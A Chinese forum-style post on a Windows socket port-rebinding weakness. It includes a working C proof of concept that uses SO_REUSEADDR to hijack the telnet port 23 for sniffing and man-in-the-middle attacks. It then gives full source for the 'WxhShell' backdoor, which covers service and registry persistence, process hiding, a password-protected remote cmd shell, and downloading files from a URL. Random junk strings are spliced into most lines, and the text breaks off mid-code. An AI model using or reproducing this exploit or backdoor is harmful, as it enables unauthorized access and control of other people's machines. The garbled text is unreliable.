在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
PkyX,mr#1 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
L5 Cfa- BWxJ1ENM
saddr.sin_family = AF_INET;
{
"Cu)AFy EG qu-WBS saddr.sin_addr.s_addr = htonl(INADDR_ANY);
z-kv{y*Hu
C=r`\W bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
X41Qkf{ <a$!S 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
N}%AUm/L *j]Bo,AC 这意味着什么?意味着可以进行如下的攻击:
zn^7#$fC 7L&,Na 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
0]*W0#{Zj $t^Td< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Ewr2popK Q njK<}M9 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
T^#d;A *5oQZ".vA* 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
$dKfUlO ww7nQ}H5( 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
rQ _cH 3bezYk 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
)8g&lyT =dHdq D 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
h%u!UHA +JC"@
#include
`3ha~+Goo! #include
9-{ +U,3) #include
aWRi`poZT #include
@0PWbs$ DWORD WINAPI ClientThread(LPVOID lpParam);
BNjMq int main()
u(8{5"C {
<)a$5"AP WORD wVersionRequested;
OqMdm~4B!j DWORD ret;
/KC^x=Xv: WSADATA wsaData;
]U'zy+ BOOL val;
s?m_zJh SOCKADDR_IN saddr;
FO[ s;dmzu SOCKADDR_IN scaddr;
4Ol1T(J# int err;
Hs8JJGXWB SOCKET s;
3=oxT6"k SOCKET sc;
fA<os+*9i int caddsize;
[Q8Wy/o
Q HANDLE mt;
SC%HHu\l DWORD tid;
hM!g6\ w wVersionRequested = MAKEWORD( 2, 2 );
zj2y=A|Y err = WSAStartup( wVersionRequested, &wsaData );
z7XI`MZN^ if ( err != 0 ) {
l3^'b p6HQ printf("error!WSAStartup failed!\n");
~Azj Y 8 return -1;
9v;[T%% }
cy!P!t,@ saddr.sin_family = AF_INET;
q:M'|5P D`[@7$t //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
l$j~p=S$F e<=Nd,v4; saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
g||
q
3 saddr.sin_port = htons(23);
cE`qfz if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%7`eT^ {
$-pijBiz_ printf("error!socket failed!\n");
x2&5zp return -1;
9eHqOmz }
/^jl||'H,: val = TRUE;
g.!k>_g` //SO_REUSEADDR选项就是可以实现端口重绑定的
XSN=0N!GB if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
P8h|2,c% {
JBHPI@Qt% printf("error!setsockopt failed!\n");
@>$qb|j return -1;
H)Me!^@[D }
'j{o!T0 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
p ]jLs|tat //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
w{ _g"X //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
qTbc?S46pt _]ZlGq!L if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
JBq6Qg {
0S>L0qp ret=GetLastError();
J,:;\Xhl printf("error!bind failed!\n");
CF-tod return -1;
f$5pp=s: n }
o/a2n<4 listen(s,2);
R#y"SxD() while(1)
Dpu?JF] {
98
NFJ caddsize = sizeof(scaddr);
vpT\CjXHZ //接受连接请求
m*B4a9f sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
)f^^hEIS if(sc!=INVALID_SOCKET)
AZik:C"Q {
\v=@' mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
K%
snE7X?) if(mt==NULL)
LDU4 D {
bFL2NH5 printf("Thread Creat Failed!\n");
' e!WZvr break;
M6A0D+08 }
tmBt[ }
iyR"O1] CloseHandle(mt);
9dAtQwGR"6 }
`S-%}eUv closesocket(s);
{"$[MYi: WSACleanup();
C GK]i.N return 0;
M,kO7g }
$.w$x1 DWORD WINAPI ClientThread(LPVOID lpParam)
C,mfA%63 {
..BP-N)V) SOCKET ss = (SOCKET)lpParam;
ojm IEzsz SOCKET sc;
3HcduJntl unsigned char buf[4096];
Fkpaou SOCKADDR_IN saddr;
0:I<TJ~P long num;
#ucb DWORD val;
/+`%u&< DWORD ret;
.)bNi*& //如果是隐藏端口应用的话,可以在此处加一些判断
_4nm h0q4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
%LmsywPPp saddr.sin_family = AF_INET;
=6 zK1Z saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
FVL{KNW~i saddr.sin_port = htons(23);
E8nj_^Z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
x3U>5F@ {
:/$_eg0A printf("error!socket failed!\n");
iWA?FBv return -1;
gxUa-R }
'xnI Nu val = 100;
l.
cp[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
cvT@`1 {
H
n]( )/ ret = GetLastError();
?>V>6cDQ return -1;
YjL'GmL< }
v?,@e5GZ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
v#s*I/kw {
z6B#F<h ret = GetLastError();
W)T'?b'. return -1;
gzKMGL?%? }
S!gzmkGcj if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#M'V%^x P {
eGpKoq7a printf("error!socket connect failed!\n");
#+U1QOsz closesocket(sc);
1$C?+H closesocket(ss);
AX1!<K return -1;
?fC9)s }
d8 Jf3Mo while(1)
(.Ak* {
CDuA2e //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
L$);50E
//如果是嗅探内容的话,可以再此处进行内容分析和记录
|`o1B;lc //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
w8 UUeF num = recv(ss,buf,4096,0);
t18j2P>` if(num>0)
EVaHb; send(sc,buf,num,0);
6:; >id${ else if(num==0)
.GNyADQp break;
'PFjZGaKR num = recv(sc,buf,4096,0);
q`L)^In" if(num>0)
Qmo}esb'( send(ss,buf,num,0);
#QcRN?s else if(num==0)
GRofOJ break;
2&]LZ:( }
Hsv)]
%p closesocket(ss);
IDos4nM27] closesocket(sc);
tk h
*su return 0 ;
q I~*G3 }
yoF*yUls^E Jn|i! BgdUG:;&
==========================================================
kFmtE
dhsc *
]bB7 下边附上一个代码,,WXhSHELL
QZ;DZMP J#i7'9g ==========================================================
ErJ@$&7 BV7P_!vt #include "stdafx.h"
6dz^%Ub W1)<!nwA #include <stdio.h>
W+"^! p| #include <string.h>
.o C!~' #include <windows.h>
YtWw)IK #include <winsock2.h>
TKAs@X,t #include <winsvc.h>
^^B_z|;Aa #include <urlmon.h>
Y[R>?w m]fU V8U #pragma comment (lib, "Ws2_32.lib")
`\;Z&jlpT #pragma comment (lib, "urlmon.lib")
-+Yark GGcODjY> #define MAX_USER 100 // 最大客户端连接数
w3>11bE #define BUF_SOCK 200 // sock buffer
F$'u` #define KEY_BUFF 255 // 输入 buffer
$Q'z9ghEg f$-n%7 #define REBOOT 0 // 重启
55$';gh,9 #define SHUTDOWN 1 // 关机
mF+8Q 7_)38 #define DEF_PORT 5000 // 监听端口
MY
c& 1t?OD_d!8 #define REG_LEN 16 // 注册表键长度
A9K$:mL<2 #define SVC_LEN 80 // NT服务名长度
]a~sJz! 39P55B/o% // 从dll定义API
E7@Gpu,o typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
~UO}PI`C typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Rj>A", typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
:p]e4|R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
uG6.(A1LM ~re}6-? // wxhshell配置信息
|_8l9rB5ip struct WSCFG {
<1>6!`b4 int ws_port; // 监听端口
rrj.]^E_~ char ws_passstr[REG_LEN]; // 口令
m}RZ)c int ws_autoins; // 安装标记, 1=yes 0=no
Z~-N'Lt{ char ws_regname[REG_LEN]; // 注册表键名
t[X^4bZd char ws_svcname[REG_LEN]; // 服务名
\**j\m char ws_svcdisp[SVC_LEN]; // 服务显示名
!yrh50tD char ws_svcdesc[SVC_LEN]; // 服务描述信息
iZeq
l1O char ws_passmsg[SVC_LEN]; // 密码输入提示信息
W,CAg7:* int ws_downexe; // 下载执行标记, 1=yes 0=no
#\D74$D char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
[Eu)~J* char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ZOa| lB (, LK}FI*A_ };
vo*oCfm zSfUM.fM // default Wxhshell configuration
BU??}{ struct WSCFG wscfg={DEF_PORT,
Gs3V]qbEP "xuhuanlingzhe",
6G"UXNa, 1,
h| wdx(4
"Wxhshell",
?#Z4Dg
9| "Wxhshell",
.lP',hn "WxhShell Service",
VWHpfm[r% "Wrsky Windows CmdShell Service",
Udn Rsp9S "Please Input Your Password: ",
q
jc4IW t~ 1,
Cfd* Q "
http://www.wrsky.com/wxhshell.exe",
~AX~z) "Wxhshell.exe"
6z6\xkr };
pXN'vP ?H@<8Ra=3 // 消息定义模块
s9nPxC&A char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
p!uB8F char *msg_ws_prompt="\n\r? for help\n\r#>";
{R@V char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Lkx~>U
char *msg_ws_ext="\n\rExit.";
)&>W/56/ char *msg_ws_end="\n\rQuit.";
~v pIy - char *msg_ws_boot="\n\rReboot...";
(Ll'j0]k> char *msg_ws_poff="\n\rShutdown...";
U887@-!3 char *msg_ws_down="\n\rSave to ";
t? 6 et1~ 7f ub^'_ char *msg_ws_err="\n\rErr!";
=IQ}Y_xr char *msg_ws_ok="\n\rOK!";
BYM6cp+S {9V.l.Q char ExeFile[MAX_PATH];
kVKAG\F int nUser = 0;
_]4p51r0 HANDLE handles[MAX_USER];
dr=Q9% int OsIsNt;
>&S}u\/ id5`YA$ SERVICE_STATUS serviceStatus;
gz[3 xH~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
J-dB AzXLlQ // 函数声明
]2)A/fOW int Install(void);
j"h/v7~ int Uninstall(void);
[*zg? ur int DownloadFile(char *sURL, SOCKET wsh);
JOt(r}gU int Boot(int flag);
Y01!D"{\ void HideProc(void);
e]88 4FP int GetOsVer(void);
ug2W{D int Wxhshell(SOCKET wsl);
U-fxlg|-C void TalkWithClient(void *cs);
_r\M}lDh* int CmdShell(SOCKET sock);
QNU~G3 int StartFromService(void);
fpo{`;&F int StartWxhshell(LPSTR lpCmdLine);
]gcOMC EXVZ?NG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
eU%49 A VOID WINAPI NTServiceHandler( DWORD fdwControl );
_Wg}#r 4^2>KC_ // 数据结构和表定义
Q9O_>mZy SERVICE_TABLE_ENTRY DispatchTable[] =
*{fs{gFw9 {
b6f OHy {wscfg.ws_svcname, NTServiceMain},
I]e+5 E0 {NULL, NULL}
MAFdJ+n# };
,7)hrA$( E;C{i // 自我安装
j`RG Moq int Install(void)
Z8xB
a0 {
0,ryy,2 char svExeFile[MAX_PATH];
=ejU(1 g HKEY key;
TQ4L~8 strcpy(svExeFile,ExeFile);
Ri" hU/H{ lNg){3 // 如果是win9x系统,修改注册表设为自启动
6 V0Ayxg7 if(!OsIsNt) {
A2M(
ad if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=#W:z.w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#c@&mus RegCloseKey(key);
\uPzj_kU6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7mMGH( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"*t6KXVaM RegCloseKey(key);
a,RCK~GR return 0;
%hYgG;22 }
'_.qhsS }
V2T%tn;rp }
_`\!+qGq else {
YWH>tt9 =+j3E<w // 如果是NT以上系统,安装为系统服务
;HXk'xN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0!dNW,NfJ if (schSCManager!=0)
o6O-\d7^M {
k"i3$^v8 SC_HANDLE schService = CreateService
\vT~2Y(K (
z&d.YO_W schSCManager,
iVZ}+Ct<" wscfg.ws_svcname,
xE?KJ wscfg.ws_svcdisp,
zs#-E_^%M SERVICE_ALL_ACCESS,
+X^GS^mz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
W$zRUG- SERVICE_AUTO_START,
d%'#-w' SERVICE_ERROR_NORMAL,
|@JTSz*Or svExeFile,
x0Loid\f NULL,
zG ='U NULL,
lF}@@e)N NULL,
@L!^2v NULL,
`~u=[}w NULL
cHF W"g78 );
S^pb9~ if (schService!=0)
nA,=g'7S {
SQcic]Ep CloseServiceHandle(schService);
xc}[q`vK CloseServiceHandle(schSCManager);
ch0^g8@Q[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
(X"5x]7] strcat(svExeFile,wscfg.ws_svcname);
P knOeW"j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
X|hYZR RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
LQPQ !):; RegCloseKey(key);
R'c dEoy return 0;
M+
%O-B }
(rBsh6@) }
Zio!j%G CloseServiceHandle(schSCManager);
#2_FM!e }
u5}:[4N%I }
]ouoRlb/ u$a K19K/ return 1;
La1:WYt }
:P_h_Tizv u9S*2' // 自我卸载
Ljz)%y[s int Uninstall(void)
2T2<I/")O {
G^)]FwTs HKEY key;
(v/L ,Lp"Ia if(!OsIsNt) {
}VJ>}i* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,g7O RegDeleteValue(key,wscfg.ws_regname);
(]'wQ4iQ RegCloseKey(key);
tB>!1}v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
z]8Mv(eL RegDeleteValue(key,wscfg.ws_regname);
ZNw|5u^N RegCloseKey(key);
^\gb|LEnK return 0;
Cu#n5SF* }
5\quh2Q_ }
Ro2V-6/ }
PM84Z@Y else {
PxrT@.T$ @QmN= X5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
h7E?7nR if (schSCManager!=0)
SnFyK5 {
ck]I? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
aYa`ex if (schService!=0)
As)?~dV {
F!#)l*OX; if(DeleteService(schService)!=0) {
im&N&A CloseServiceHandle(schService);
Zt9G[[] CloseServiceHandle(schSCManager);
R5=J :o return 0;
yP$esDP }
(9%?ik CloseServiceHandle(schService);
=_k }
bDWLHdu
a CloseServiceHandle(schSCManager);
vOlfyH> }
4utwcXL }
m=9b/Nr4 p4z4[=-: return 1;
*]yrN` }
?+hEs =Xs |k6+-
1~_ // 从指定url下载文件
Iz+%wAZ|B6 int DownloadFile(char *sURL, SOCKET wsh)
[ x{$f7CEh {
SV t~pE+Y HRESULT hr;
x] wi& char seps[]= "/";
x*z[(0g! char *token;
*Ze0V9$' char *file;
)KFxtM- char myURL[MAX_PATH];
tjThQ char myFILE[MAX_PATH];
V6dq8Z"h Fj<*!J$, strcpy(myURL,sURL);
HQ"T>xb token=strtok(myURL,seps);
kNWTM%u9 while(token!=NULL)
'M6+(`x {
bI0xI[#Q file=token;
}F{s\qUt token=strtok(NULL,seps);
Ox J0." }
-b!Z(}JK ^)]U5+g? GetCurrentDirectory(MAX_PATH,myFILE);
F,S)P`? strcat(myFILE, "\\");
u=nd7:bv strcat(myFILE, file);
K.QSt send(wsh,myFILE,strlen(myFILE),0);
zl8M<z1`1 send(wsh,"...",3,0);
i=<;$+tW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
cu>(;= if(hr==S_OK)
}6a}8EyFP return 0;
bEcN_7 else
*ilh/Hd> return 1;
)I*(yUj eV}" L:bgJ }
nQV0I"f]?] $#f_p-N // 系统电源模块
1#3|PA#> int Boot(int flag)
wyX3qH {
w3q'n% HANDLE hToken;
mTu>S TOKEN_PRIVILEGES tkp;
9+9g (6 yOz6a :r if(OsIsNt) {
'8)kFR^9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
8'@5X-nD LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
15J"iN2"W tkp.PrivilegeCount = 1;
Y910\h@V tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
yH"i5L9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
L~/,;PHN if(flag==REBOOT) {
f$:Y'$Z1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
U:8]G return 0;
G8vDy1`q6 }
G 3U[)(" else {
b%MZfaU if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
6HBDs: return 0;
1A'eH:$ }
Qqg.z-G%. }
}kQ{T:q4 else {
zB0*KgAn{ if(flag==REBOOT) {
'A5T$JV.r4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
v@ QnS return 0;
9NwUXh(:( }
`l'T/F\ else {
#b*4v&< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
jC[_uG return 0;
Q(-&}cY }
8>WA5:]v }
5QK%BiDlr J/P[9m30[ return 1;
Mrgj*| }
D|(\5]:R N{bg-%s10i // win9x进程隐藏模块
KE"6I void HideProc(void)
Hre&a!U {
<o|fH~?X c6 &k?Puy HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
rzHBop-8 if ( hKernel != NULL )
rK'Lvt@w {
b||usv[or pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
J:W+'x`@ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
n[e C FreeLibrary(hKernel);
"{vWdY|" }
wG MhKZE qvu1 u
GCc return;
v)*MgfS }
=&08s(A 4>oM5Yf8 // 获取操作系统版本
Mm*V;ADF int GetOsVer(void)
c&wg`1{Hal {
4G I3|{ OSVERSIONINFO winfo;
~vt*%GN3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
n.c0G` GetVersionEx(&winfo);
eik_w(xPT if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
tnUfi8\ob return 1;
wbF`wi? else
``<#F3 return 0;
!%M,x~H }
}0\SNpVN xdbzpU
// 客户端句柄模块
'.z7)n int Wxhshell(SOCKET wsl)
@2.
:fK {
eE'>kP} SOCKET wsh;
r
ezp7 struct sockaddr_in client;
&&l
ZUR,` DWORD myID;
*cM=>3ws/ uQH] while(nUser<MAX_USER)
75p9_)>96 {
_!zc <&~I int nSize=sizeof(client);
+`wr{kB$~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
UfPB-EFl$D if(wsh==INVALID_SOCKET) return 1;
7/a7p(
>b"@{MZ@t handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
wxcJ2T d H if(handles[nUser]==0)
J'|[-D-a closesocket(wsh);
4|&/#Cz^Y else
Czw]5 nUser++;
:'%|LBc0 }
|MKR&%Na WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
kJ"rRsK kwUUvF7w return 0;
9Br+]F_i }
g7?[}?]3"p 8K9HFT@yV // 关闭 socket
w^8Q~3|7 void CloseIt(SOCKET wsh)
|sr\SCx {
9^g8VlQdT closesocket(wsh);
r3?8nQ$ nUser--;
+|bmUm<2 ExitThread(0);
`^{G`es }
5'f_~>1Wt H0inU+Ih // 客户端请求句柄
|)To 0Z void TalkWithClient(void *cs)
MkFWZ9c3 {
b+:mV7eX
Txo{6nd/ SOCKET wsh=(SOCKET)cs;
ZiY2N*,VO char pwd[SVC_LEN];
7Z:3xb&> char cmd[KEY_BUFF];
9\?&u_ U" char chr[1];
:_i1gY) int i,j;
6!0NFP~b !NNPg?Y while (nUser < MAX_USER) {
z =H?@z `f}ZAX if(wscfg.ws_passstr) {
8*&-u +@% if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
B /3~[ ' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}N-UlL( //ZeroMemory(pwd,KEY_BUFF);
XelFGT E i=0;
W20- oZ8 while(i<SVC_LEN) {
XOqHzft h6 >.P*lT // 设置超时
qU6!vgM& fd_set FdRead;
gmu.8 struct timeval TimeOut;
@ A8y!< FD_ZERO(&FdRead);
q*R~gEi#yk FD_SET(wsh,&FdRead);
,B;mG]_ TimeOut.tv_sec=8;
n%;qIKnIq\ TimeOut.tv_usec=0;
"?k'S{; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
+,"[0RH if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
fXnTqKAfu6 _Q^jk0K8ga if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
=aj|auu pwd
=chr[0]; 0e"KdsA:<U
if(chr[0]==0xd || chr[0]==0xa) { "Vc|D (g
pwd=0; bZWR.</
break; YdvXp/P:|
} X)]>E]X
i++; !V #*(_+n
} ?xKiN5q"6
O<!^^7/h0
// 如果是非法用户,关闭 socket R-n%3oh
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7>7n|N
} P[H`]q|
n}Thc6f3D
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Rq(+zL(f
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +>ituJ
;w%g*S
while(1) { q{*[uJ}Xc"
<F_w4!
ZeroMemory(cmd,KEY_BUFF); r{yIF~k@
:/?
Op
// 自动支持客户端 telnet标准 J.2BBy
j=0; Yy[=E\z
while(j<KEY_BUFF) { ^+~$eg&js
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uq:'`o-1
cmd[j]=chr[0]; uJ=&++[
if(chr[0]==0xa || chr[0]==0xd) {
ArX*3
cmd[j]=0; Jp)PKS
![
break; nC/T$
#G
} \K9Y@jnr
j++; coaJDg+
} 7m8:odeF
6"?#s/fk
// 下载文件 lKI]q<2
if(strstr(cmd,"http://")) { ,trh)ZZYW|
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \iEJ9V
if(DownloadFile(cmd,wsh)) ZKI` ;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PK?}hz
else D0f7I:i1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S#+ _HFUK{
} .*EP$pc
else { K24y;968
Q4ii25]*
switch(cmd[0]) { IP !zg|c,
IMSm
// 帮助 QKz2ONV=)
case '?': { $\4O r
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z5:3.+M5
break; 6x;"T+BSSS
} ?1]B(V9nBq
// 安装 ,aWfGh#$
case 'i': { nYRD>S?uz
if(Install()) <N80MUL|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g5Hsz,x
else 0\$Lnwp_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :]C\DUBo
break; [MC}zd'/
} 8^-g yx'
// 卸载 Z.>?Dt
case 'r': { !})3Fb
if(Uninstall()) I$i1o#H
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pt;\]?LVrD
else mW_A3S5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q%GLT,f1.
break; ^eYJ7&t
} C$c.(5/O
// 显示 wxhshell 所在路径 ^n]?!BdU
case 'p': { 78b9Sdi&
char svExeFile[MAX_PATH]; >W8PLo+i
strcpy(svExeFile,"\n\r"); KRcg
strcat(svExeFile,ExeFile); QPF[D7\
send(wsh,svExeFile,strlen(svExeFile),0); `+r5I5
break; IZ4jFgpR
} 8J9o$Se
// 重启 R?%|RCht1
case 'b': { inGH'nl_
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i%B$p0U<
if(Boot(REBOOT)) \@n/L{}(@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e''Wm.>g(+
else { ' :]w
closesocket(wsh); w@f_TG"Vt
ExitThread(0); zjJyc?
} WUi7~Ei}
break; %}&9[#
} L'h'm{i
// 关机 {la^useg[
case 'd': { R?\8SdJ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?Z7C0u#wd
if(Boot(SHUTDOWN)) 8c$IsvJg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &l|B>{4v
else { r>q`# ~
closesocket(wsh); 8i"{GGVC
ExitThread(0); {gi"ktgk
} 1Kebl
break; veE8
N~0N.
} 7,LT4wYH
// 获取shell }#u}{
case 's': { @49^WY
CmdShell(wsh); 9k"nx ,"
closesocket(wsh); #wm)e)2@
ExitThread(0); bmddh2
break; ]X _&
} j({L6</x
// 退出 Ap> n4~
case 'x': { !!K=v7M
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eaiz
w@N
CloseIt(wsh); ~d5{Q?T)
break; sQH.}W$C
} )d1,}o
// 离开 T@HozZ
case 'q': { #QDV_ziE5
send(wsh,msg_ws_end,strlen(msg_ws_end),0); XJ NKM~
closesocket(wsh); ,wEM
WSACleanup();
nocH~bAf2
exit(1); !kKKJ~,;
break; \1B*iW
} SoY&R=
} Ia"bP` L
} :3Jh f$
,[hJi3xM
// 提示信息 {DO9{96w4
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0UB'6wRVo
} Tp6ysjao
} %E!0,y,:
:{6[U=O
return; Zj<T#4?8
} |O+binq
hg>YOf&RG
// shell模块句柄 Zj^H3h
int CmdShell(SOCKET sock) |ZKchd8Yq
{ t-Fl"@s
STARTUPINFO si; wLbnsqa
ZeroMemory(&si,sizeof(si)); ?{dno=
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U5PCj ]-Xt
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \ d;Ow8%d/
PROCESS_INFORMATION ProcessInfo; 1|89-Ii]
char cmdline[]="cmd"; MLb\:Ihy
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \dMsv1\
return 0; 0&-sz=L
} Y#5S;?bR
Dx%fW`
// 自身启动模式 g<-cHF
int StartFromService(void) m4
(Fuu
{ *dl@)~i
typedef struct sig_2;
{ ro{MDs
DWORD ExitStatus; %"6IAt
DWORD PebBaseAddress; dd+).*
DWORD AffinityMask; 5%$#3LT|
DWORD BasePriority; '37b[~k4
ULONG UniqueProcessId; (
